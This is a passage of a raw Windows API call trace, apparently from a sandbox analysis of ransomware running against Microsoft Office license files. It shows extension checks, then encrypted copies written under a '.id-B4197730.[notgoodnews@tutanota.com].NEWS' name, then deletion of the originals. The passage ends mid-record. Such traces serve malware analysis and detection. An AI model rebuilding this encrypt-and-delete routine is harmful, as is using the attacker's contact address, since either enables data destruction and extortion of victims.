[0189.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".dbf") returned 4 [0189.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".1cd") returned 4 [0189.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".jpg") returned 4 [0189.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".doc") returned 4 [0189.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".docx") returned 5 [0189.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.523] lstrlenW (lpString=".pdf") returned 4 [0189.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".xls") returned 4 [0189.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".xlsx") returned 5 [0189.523] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.523] lstrlenW (lpString=".ppt") returned 4 [0189.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".zip") returned 4 [0189.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".rar") returned 4 [0189.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".bz2") returned 4 [0189.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.523] lstrlenW (lpString=".7z") returned 3 [0189.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.523] lstrlenW (lpString=".dbf") returned 4 [0189.524] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.524] lstrlenW (lpString=".1cd") returned 4 [0189.524] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.524] lstrlenW (lpString=".jpg") returned 4 [0189.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.524] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.524] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34 [0189.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.525] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11616) returned 1 [0189.525] CloseHandle (hObject=0x404) returned 1 [0189.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220 [0189.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.526] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.526] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.527] GetLastError () returned 0x0 [0189.527] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0189.761] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0189.763] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.763] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x118, lpOverlapped=0x0) returned 1 [0189.763] SetEndOfFile (hFile=0x56c) returned 1 [0189.830] CloseHandle (hObject=0x56c) returned 1 [0189.830] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.831] SetEndOfFile (hFile=0x404) returned 1 [0189.834] CloseHandle (hObject=0x404) returned 1 [0189.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1 [0189.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.836] lstrlenW (lpString=".doc") returned 4 [0189.836] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".docx") returned 5 [0189.836] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.836] lstrlenW (lpString=".pdf") returned 4 [0189.836] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".xls") returned 4 [0189.836] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".xlsx") returned 5 [0189.836] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.836] lstrlenW (lpString=".ppt") returned 4 [0189.836] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.836] lstrlenW (lpString=".zip") returned 4 [0189.836] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".rar") returned 4 [0189.836] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".bz2") returned 4 [0189.836] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString=".7z") returned 3 [0189.836] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.836] lstrlenW (lpString=".dbf") returned 4 [0189.836] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.836] lstrlenW (lpString=".1cd") returned 4 [0189.837] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.837] lstrlenW (lpString=".jpg") returned 4 [0189.837] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.837] lstrlenW (lpString=".doc") returned 4 [0189.837] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".docx") returned 5 [0189.837] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.837] lstrlenW (lpString=".pdf") returned 4 [0189.837] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".xls") returned 4 [0189.837] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".xlsx") returned 5 [0189.837] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.837] lstrlenW (lpString=".ppt") returned 4 [0189.837] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.837] lstrlenW (lpString=".zip") returned 4 [0189.837] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".rar") returned 4 [0189.837] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".bz2") returned 4 [0189.837] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.837] lstrlenW (lpString=".7z") returned 3 [0189.837] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.838] lstrlenW (lpString=".dbf") returned 4 [0189.838] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.838] lstrlenW (lpString=".1cd") returned 4 [0189.838] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0189.838] lstrlenW (lpString=".jpg") returned 4 [0189.838] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.838] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.838] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26 [0189.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.839] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=26525) returned 1 [0189.839] CloseHandle (hObject=0x404) returned 1 [0189.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0189.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.840] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.840] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.841] GetLastError () returned 0x0 [0189.841] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x679d, lpOverlapped=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0189.846] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.846] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0189.846] SetEndOfFile (hFile=0x56c) returned 1 [0189.847] CloseHandle (hObject=0x56c) returned 1 [0189.847] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.847] SetEndOfFile (hFile=0x404) returned 1 [0189.850] CloseHandle (hObject=0x404) returned 1 [0189.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1 [0189.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.852] lstrlenW (lpString=".doc") returned 4 [0189.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.852] lstrlenW (lpString=".docx") returned 5 [0189.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.852] lstrlenW (lpString=".pdf") returned 4 [0189.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.852] lstrlenW (lpString=".xls") returned 4 [0189.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.852] lstrlenW (lpString=".xlsx") returned 5 [0189.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.853] lstrlenW (lpString=".ppt") returned 4 [0189.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString=".zip") returned 4 [0189.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString=".rar") returned 4 [0189.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString=".bz2") returned 4 [0189.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString=".7z") returned 3 [0189.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString=".dbf") returned 4 [0189.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString=".1cd") returned 4 [0189.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString=".jpg") returned 4 [0189.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.853] lstrlenW (lpString=".doc") returned 4 [0189.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.853] lstrlenW (lpString=".docx") returned 5 [0189.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.853] lstrlenW (lpString=".pdf") returned 4 [0189.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString=".xls") returned 4 [0189.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString=".xlsx") returned 5 [0189.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.854] lstrlenW (lpString=".ppt") returned 4 [0189.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.854] lstrlenW (lpString=".zip") returned 4 [0189.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString=".rar") returned 4 [0189.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString=".bz2") returned 4 [0189.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString=".7z") returned 3 [0189.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.854] lstrlenW (lpString=".dbf") returned 4 [0189.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.854] lstrlenW (lpString=".1cd") returned 4 [0189.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0189.854] lstrlenW (lpString=".jpg") returned 4 [0189.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.855] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.855] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29 [0189.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.856] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11596) returned 1 [0189.856] CloseHandle (hObject=0x404) returned 1 [0189.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220 [0189.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.857] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.857] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.858] GetLastError () returned 0x0 [0189.858] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0189.860] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0189.861] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.861] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10e, lpOverlapped=0x0) returned 1 [0189.862] SetEndOfFile (hFile=0x56c) returned 1 [0190.000] CloseHandle (hObject=0x56c) returned 1 [0190.000] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.000] SetEndOfFile (hFile=0x404) returned 1 [0190.003] CloseHandle (hObject=0x404) returned 1 [0190.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1 [0190.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString=".doc") returned 4 [0190.231] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString=".docx") returned 5 [0190.231] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.231] lstrlenW (lpString=".pdf") returned 4 [0190.231] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString=".xls") returned 4 [0190.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString=".xlsx") returned 5 [0190.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.231] lstrlenW (lpString=".ppt") returned 4 [0190.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0190.231] lstrlenW (lpString=".zip") returned 4 [0190.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.231] 